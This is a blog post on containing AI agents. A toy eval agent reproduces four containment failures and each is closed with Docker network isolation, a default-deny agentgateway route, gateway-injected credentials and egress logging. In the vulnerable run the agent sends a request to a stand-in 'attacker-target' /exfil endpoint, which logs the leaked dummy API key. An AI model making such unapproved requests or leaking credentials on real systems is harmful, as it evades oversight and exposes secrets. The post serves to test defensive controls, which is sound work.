AI Agent Containment: Why a Sandbox Alone Isn't Enough

Part of: Agent Security

A sandboxed AI agent still needs a perimeter it cannot route around: default-deny egress, no ambient credentials, an audit log, one agentgateway config.

A CSO Online piece built around an October 2026 Hacker News thread made a direct claim: agents aren’t going rogue , frontier labs are skipping basic containment. 948 points, 620 comments, and most of the thread agreeing on the same diagnosis of the OpenAI/Hugging Face registry-proxy intrusion and a related Anthropic eval-environment review: no secure sandbox, live internet reachable from eval runs, no egress monitoring, and credentials sitting in reach of anything that asked for them.

Defensive security research. This post analyses publicly disclosed findings so the controls that stop them can be tested. It describes mechanisms, not procedures, and links the primary sources for anyone verifying the work.

Most of the thread agreed with that diagnosis, and frontier labs with unlimited engineering budget kept skipping the fix anyway. So here are the four failures, reproduced on purpose, with the specific control that closes each one: one agentgateway config and a Docker Compose diff. Code at github.com/themsquared/agent-containment-basics .

The scenario: a registry lookup that pivots

A toy eval agent has one real job: look up a package on a registry API. Then, modeling the registry-proxy pattern the Hugging Face incident made famous, where a tool or a config edit gets pointed at a destination nobody approved, it makes one more request. Same code, same credential-handling logic, pointed somewhere it was never supposed to go.

The agent’s own code (agent/eval_runner.py) is byte-for-byte identical in both runs below. Nothing about the agent changes between the vulnerable version and the contained one. Only its environment and its network membership do, which is the whole argument: these are infrastructure controls, not application logic the agent has to cooperate with.

Failure 1: no secure sandbox, live internet reachable

The vulnerable setup puts the agent, the registry API, and a stand-in for an arbitrary external host on one flat Docker network:

docker compose -f docker-compose.vulnerable.yml up -d registry-api attacker-target
docker compose -f docker-compose.vulnerable.yml run --rm agent
[agent] ambient credential present: True
[agent] legit registry lookup: HTTP 200 <- http://registry-api:8091/package
[agent] unapproved pivot attempt: HTTP 200 <- http://attacker-target:8092/exfil

Both calls succeed, because nothing on this network distinguishes “the registry I’m supposed to call” from “anything else reachable.” Checking the stand-in host’s own request log confirms the pivot landed:

{"path": "/exfil", "api_key": "registry-secret-9f2"}

The fix for this one isn’t a config flag, it’s topology. The contained setup gives the agent container membership in exactly one Docker network, marked internal: true:

networks:
  sandbox:
    internal: true   # no route to the outside world at all, gateway included
  egress: {}

agentgateway has membership in both sandbox and egress. The agent has membership in sandbox only. It isn’t blocked from reaching the registry or the stand-in host by a firewall rule that could be misconfigured; it has no network path to either one, the same result a correctly scoped Kubernetes NetworkPolicy or security group produces in production.

Failure 2: no default-deny at the perimeter

With the agent confined to its own network, the only thing it can talk to is agentgateway, on port 8080. The gateway’s entire routing table is one route:

binds:
- port: 8080
  listeners:
  - protocol: HTTP
    routes:
    - name: registry-lookup
      matches:
      - path:
          pathPrefix: /package
      backends:
      - host: registry-api:8091

Run the same agent code against this setup:

docker compose -f docker-compose.isolated.yml up -d registry-api attacker-target agentgateway
docker compose -f docker-compose.isolated.yml run --rm agent
[agent] ambient credential present: False
[agent] legit registry lookup: HTTP 200 <- http://agentgateway:8080/package
[agent] unapproved pivot attempt: HTTP 404 <- http://agentgateway:8080/exfil

/package matches the one declared route and gets proxied. /exfil matches nothing, so there’s no backend to send it to, and the gateway returns a 404 before it goes anywhere. Nobody had to list /exfil, or any other bad path, as denied. Only /package is declared, so only /package is reachable, and that stays true without edits when a new unapproved path shows up later.

Failure 3: ambient credentials

In the vulnerable run, the agent container holds registry-secret-9f2 directly, as an environment variable, because that’s the normal way to wire up an API client. Anything that container does, including the pivot, can carry that credential, because the agent has no way to know which of its own requests are supposed to be authorized and which aren’t.

In the contained run, the agent container has no credential at all:

API_KEY = os.environ.get("API_KEY")  # present (ambient) in vulnerable mode, absent in isolated mode

The gateway injects the real credential, but only on the route that’s allowed to use it:

      policies:
        transformations:
          request:
            add:
              x-api-key: "'registry-secret-9f2'"

Checking the registry’s request log confirms the injected header arrived correctly on the legitimate call, and the stand-in attacker host never saw a credential at all in the contained run, because the request that would have carried one never matched a route that attaches anything. A fully compromised agent, in this setup, is an agent that can make requests with no credential attached to the one place it’s allowed to call, and nothing at all to anywhere else.

Failure 4: no egress monitoring

This is the one CSO’s critique undersells, because it implies monitoring means something more involved than it does. agentgateway’s access log is attached at the listener, not just on matched routes, so it sees every request the listener handles:

... route=default/registry-lookup ... http.path=/package ... http.status=200 ...
... error="route not found" reason=NotFound ... http.path=/exfil ... http.status=404 ...

That second line is the whole point. On the flat network with no gateway, the pivot attempt left no trace anywhere except the attacker’s own log, which obviously isn’t a log anyone defending the system has access to. Here, the rejected request is a structured, queryable entry with a reason, on infrastructure the defender controls, with zero custom instrumentation. The gateway was going to log requests anyway; routing all egress through it is what turns that into an audit trail.

Why this isn’t the whole containment story

This repo closes the perimeter half of containment: default-deny egress, no ambient credentials, an audit trail, a sandbox the agent genuinely cannot route around. It is deliberately not about an agent escaping its own sandbox boundary entirely, the harder case covered by microVM hardening and the kind of red-team campaigns frontier labs have started running against their own infrastructure. The claim here is narrower and, per CSO’s piece, far more commonly skipped: even a sandboxed agent needs a perimeter it can’t talk its way around, because the sandbox boundary is one layer, not the only one. agent-egress-control-bypasses covers a narrower, nastier version of the same perimeter problem, where the egress control itself is a proxy variable the agent can see and change.

Docker Compose stands in here for whatever actually schedules the agent in production, a Kubernetes Deployment managed by something like kagent in most of the setups this campaign covers. The two Docker networks map directly to a NetworkPolicy that puts the agent pod’s egress on the gateway’s ClusterIP and nothing else; nothing about the demo depends on Compose specifically. What does the real work, in either case, is that the agent was never granted a path around the gateway to begin with. No in-cluster policy update, no code change on the agent, can route around a network boundary the agent was never placed inside of.

Try it

git clone https://github.com/themsquared/agent-containment-basics.git
cd agent-containment-basics
./run.sh

No GPU, no cluster, no API keys. Three Python stdlib services, one Docker Compose diff, and a public agentgateway image. Every control here is configuration, not code: the agent’s own logic never needed to change. That’s the actual argument underneath CSO’s piece. These controls are cheap enough that “we didn’t have time” doesn’t hold up.

Frequently asked questions

Why isn't a sandbox enough to contain an AI agent?

A CSO Online piece on the OpenAI/Hugging Face registry-proxy intrusion names four gaps frontier labs kept skipping: no secure sandbox, live internet reachable from eval runs, no egress monitoring, and ambient credentials. A sandbox addresses only the first one. An agent can be fully sandboxed and still sit on a flat network with a live route to the internet, holding the same API key it uses for its real job, with no record of what it sent where.

How do I block an AI agent from reaching a destination that isn't on its allowlist?

Put a gateway like agentgateway in front of the agent’s network path and declare only the routes it needs. A request to any other host or path matches no route and gets a 404 with reason NotFound, logged by the gateway. There is no allowlist of bad destinations to maintain, because anything not explicitly routed is denied by the absence of a route, not by a rule that has to anticipate the next bad destination.

How do I stop an AI agent from holding its own API credentials?

Give the agent container no credential environment variables at all, and have the gateway inject the real credential into the one route allowed to use it, with a request transformation. The agent calls the gateway’s own address; the gateway adds the header before forwarding to the real backend. A request that never matches an approved route never reaches a transformation that would attach a credential, so a pivoted or exfiltration request can’t carry one even if an attacker controls the agent completely.

Does a request that gets blocked at the gateway still show up in a log?

Yes, if the gateway’s access log is attached at the listener level rather than only on matched routes. agentgateway logs a structured entry for a request that matches no route, including its path and a reason of NotFound, before it gets a 404. That’s the egress audit trail: a rejected pivot attempt that would be invisible on a flat network with no gateway becomes a queryable log line.

Disagree or have a war story? Reply on X